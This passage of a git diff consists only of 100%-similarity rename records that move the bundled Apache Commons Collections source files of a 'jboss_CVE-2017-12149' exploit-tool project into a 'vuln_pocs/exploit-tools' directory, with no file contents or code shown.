jboss_CVE-2017-12149/src/org/apache/commons/collections/FastHashMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/FastHashMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/FastTreeMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/FastTreeMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/FastTreeMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/FastTreeMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/FunctorException.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/FunctorException.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/FunctorException.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/FunctorException.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/HashBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/HashBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/HashBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/HashBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/IterableMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/IterableMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/IterableMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/IterableMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/IteratorUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/IteratorUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/IteratorUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/IteratorUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/KeyValue.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/KeyValue.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/KeyValue.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/KeyValue.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/LRUMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/LRUMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/LRUMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/LRUMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/ListUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ListUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/ListUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ListUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/MapIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/MapIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/MapIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/MapIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/MapUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/MapUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/MapUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/MapUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/MultiHashMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/MultiHashMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/MultiHashMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/MultiHashMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/MultiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/MultiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/MultiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/MultiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedBidiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedBidiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedBidiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedBidiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedMapIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedMapIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedMapIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/OrderedMapIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/Predicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Predicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/Predicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Predicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/PredicateUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/PredicateUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/PredicateUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/PredicateUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/PriorityQueue.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/PriorityQueue.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/PriorityQueue.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/PriorityQueue.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/ProxyMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ProxyMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/ProxyMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ProxyMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/ReferenceMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ReferenceMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/ReferenceMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ReferenceMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/ResettableIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ResettableIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/ResettableIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ResettableIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/ResettableListIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ResettableListIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/ResettableListIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ResettableListIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/SequencedHashMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/SequencedHashMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/SequencedHashMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/SequencedHashMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/SetUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/SetUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/SetUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/SetUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/SortedBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/SortedBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/SortedBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/SortedBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/SortedBidiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/SortedBidiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/SortedBidiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/SortedBidiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/StaticBucketMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/StaticBucketMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/StaticBucketMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/StaticBucketMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/SynchronizedPriorityQueue.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/SynchronizedPriorityQueue.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/SynchronizedPriorityQueue.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/SynchronizedPriorityQueue.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/Transformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Transformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/Transformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Transformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/TransformerUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/TransformerUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/TransformerUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/TransformerUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/TreeBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/TreeBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/TreeBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/TreeBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/UnboundedFifoBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/UnboundedFifoBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/UnboundedFifoBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/UnboundedFifoBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/Unmodifiable.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Unmodifiable.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/Unmodifiable.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Unmodifiable.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractBagDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractBagDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractBagDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractBagDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractMapBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractMapBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractMapBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractMapBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractSortedBagDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractSortedBagDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractSortedBagDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/AbstractSortedBagDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/HashBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/HashBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/HashBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/HashBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/PredicatedBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/PredicatedBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/PredicatedBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/PredicatedBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/PredicatedSortedBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/PredicatedSortedBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/PredicatedSortedBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/PredicatedSortedBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/SynchronizedBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/SynchronizedBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/SynchronizedBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/SynchronizedBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/SynchronizedSortedBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/SynchronizedSortedBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/SynchronizedSortedBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/SynchronizedSortedBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TransformedBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TransformedBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TransformedBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TransformedBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TransformedSortedBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TransformedSortedBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TransformedSortedBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TransformedSortedBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TreeBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TreeBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TreeBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TreeBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TypedBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TypedBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TypedBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TypedBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TypedSortedBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TypedSortedBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TypedSortedBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/TypedSortedBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/UnmodifiableBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/UnmodifiableBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/UnmodifiableBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/UnmodifiableBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/UnmodifiableSortedBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/UnmodifiableSortedBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/UnmodifiableSortedBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/UnmodifiableSortedBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bag/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractDualBidiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractDualBidiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractDualBidiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractDualBidiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/DualHashBidiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/DualHashBidiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/DualHashBidiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/DualHashBidiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/DualTreeBidiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/DualTreeBidiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/DualTreeBidiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/DualTreeBidiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/TreeBidiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/TreeBidiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/TreeBidiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/TreeBidiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/bidimap/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/AbstractBufferDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/AbstractBufferDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/AbstractBufferDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/AbstractBufferDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/BlockingBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/BlockingBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/BlockingBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/BlockingBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/BoundedFifoBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/BoundedFifoBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/BoundedFifoBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/BoundedFifoBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/CircularFifoBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/CircularFifoBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/CircularFifoBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/CircularFifoBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/PredicatedBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/PredicatedBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/PredicatedBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/PredicatedBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/PriorityBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/PriorityBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/PriorityBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/PriorityBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/SynchronizedBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/SynchronizedBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/SynchronizedBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/SynchronizedBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/TransformedBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/TransformedBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/TransformedBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/TransformedBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/TypedBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/TypedBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/TypedBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/TypedBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/UnboundedFifoBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/UnboundedFifoBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/UnboundedFifoBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/UnboundedFifoBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/UnmodifiableBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/UnmodifiableBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/UnmodifiableBuffer.java rename to 